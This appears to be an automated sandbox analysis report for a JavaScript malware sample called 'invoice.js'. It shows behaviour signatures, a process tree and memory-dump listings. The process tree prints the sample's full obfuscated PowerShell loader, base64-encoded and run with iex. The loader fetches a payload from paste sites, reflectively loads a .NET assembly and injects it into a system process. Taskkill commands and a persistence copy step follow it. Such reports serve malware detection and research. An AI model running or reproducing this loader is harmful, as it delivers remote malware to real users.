Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/04/2026, 14:05

General

  • Target
    invoice.js
  • Size 67KB
  • Sample260417-rdwfcsbt5v
  • SHA256 44e085b4223c112802a0b8fa6cb6e9e4890e313c7c28b2a75ff9d336c6f1e77d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\invoice.js
    1⤵
      PID:3216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$ddsfdfdjhsdfgdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAcABhAHMAdABlAGYAeQAuAGEAcABwAC8AMQBiAGwAZgBxAHkAdgBhAC8AcgBhAHcAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAEEAcABwAEwAYQB1AG4AYwBoACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBnACAAPQAgACcAPQA9AHcAUgA2AHAAMgBjAEIAbABHAE4AeABZAHoAWgBpAFoAMQBMAEsAWgBWAGUAagBWAGsAWgBVAE4ASABPAFcAaAAyAEwAMQBWAFUAZQBuAGQAMQBRAHkARgBUAFMAMQBsAG0AUQB0AFIAbgBjAGEAcAAxAFYAdwBWAGsAYQB2AGQARwBNADUASQBqAFQAeABOADMAUQBHAEoAMQBhAEgAdABtAFIAVABwAFcAYQAuADEAQAA9AGQAaQB1AD8AZABhAG8AbABuAHcAbwBkAC8AdAByAGEAbQBzAGkAdQB3AGUAbgAvAHQAaQAuAGUAcgBhAGgAcwBsAGkAYQBtAC8ALwA6AHMAZwBzAGYAZgBzAGYAJwAgADsAIAAkAGcAZwAgAD0AIAAkAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcALgBMAGUAbgBnAHQAaAAgAC0AIAA2ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAzACcALAAgACcAawBjAGoAZQBjAGcAbQAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAxACcAIAAsACAAJwB4ADYANAAnACkAKQB9AH0A';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\invoice.js' -Destination 'C:\ProgramData\kcjecgm.js' -Force"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4428
          • C:\Windows\system32\taskkill.exe
            taskkill /IM RegAsm.exe /F
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4544
          • C:\Windows\system32\taskkill.exe
            taskkill /IM Vbc.exe /F
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5188
          • C:\Windows\system32\taskkill.exe
            taskkill /IM MsBuild.exe /F
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4540

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 7bc331173a7e29e87ed2ddbf82b91a19ccac9228f737922cccf008aeea447656
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_5slk50vs.nzw.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5slk50vs.nzw.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3216-2-0x000001D1943E0000-0x000001D194411000-memory.dmp

          memory/3216-3-0x000001D196030000-0x000001D19603C000-memory.dmp

          memory/3216-1-0x000001D196030000-0x000001D19603C000-memory.dmp

          memory/3216-0-0x000001D1943E0000-0x000001D194411000-memory.dmp

          memory/3888-28-0x000001E7C53E0000-0x000001E7C5411000-memory.dmp

          memory/3888-30-0x000001E7DF3F0000-0x000001E7DF402000-memory.dmp

          memory/3888-29-0x000001E7C6C80000-0x000001E7C6C8C000-memory.dmp

          memory/3888-16-0x000001E7DF360000-0x000001E7DF370000-memory.dmp

          memory/3888-15-0x000001E7DF360000-0x000001E7DF370000-memory.dmp

          memory/4540-25-0x000001FCCDDD0000-0x000001FCCDE01000-memory.dmp

          memory/4544-23-0x0000024F8D5D0000-0x0000024F8D601000-memory.dmp

          memory/5188-24-0x000001B8C2010000-0x000001B8C2041000-memory.dmp

          memory/5948-12-0x00000229E1920000-0x00000229E1942000-memory.dmp

          memory/5948-14-0x00000229E1E30000-0x00000229E1E4A000-memory.dmp

          memory/5948-13-0x00000229E1A50000-0x00000229E1A60000-memory.dmp

          memory/5948-31-0x00000229E1A50000-0x00000229E1A60000-memory.dmp

          memory/5948-32-0x00000229E1A50000-0x00000229E1A60000-memory.dmp

          memory/5948-33-0x00000229E1A50000-0x00000229E1A60000-memory.dmp

          memory/5948-34-0x00000229C7B60000-0x00000229C7B91000-memory.dmp

          memory/5948-35-0x00000229C9230000-0x00000229C923C000-memory.dmp

          memory/5948-36-0x00000229C9570000-0x00000229C9582000-memory.dmp

          memory/5948-4-0x00000229E1A50000-0x00000229E1A60000-memory.dmp

          memory/5948-5-0x00000229E1A50000-0x00000229E1A60000-memory.dmp

          memory/5948-45-0x00000229C7B60000-0x00000229C7B91000-memory.dmp

          memory/5948-46-0x00000229C9230000-0x00000229C923C000-memory.dmp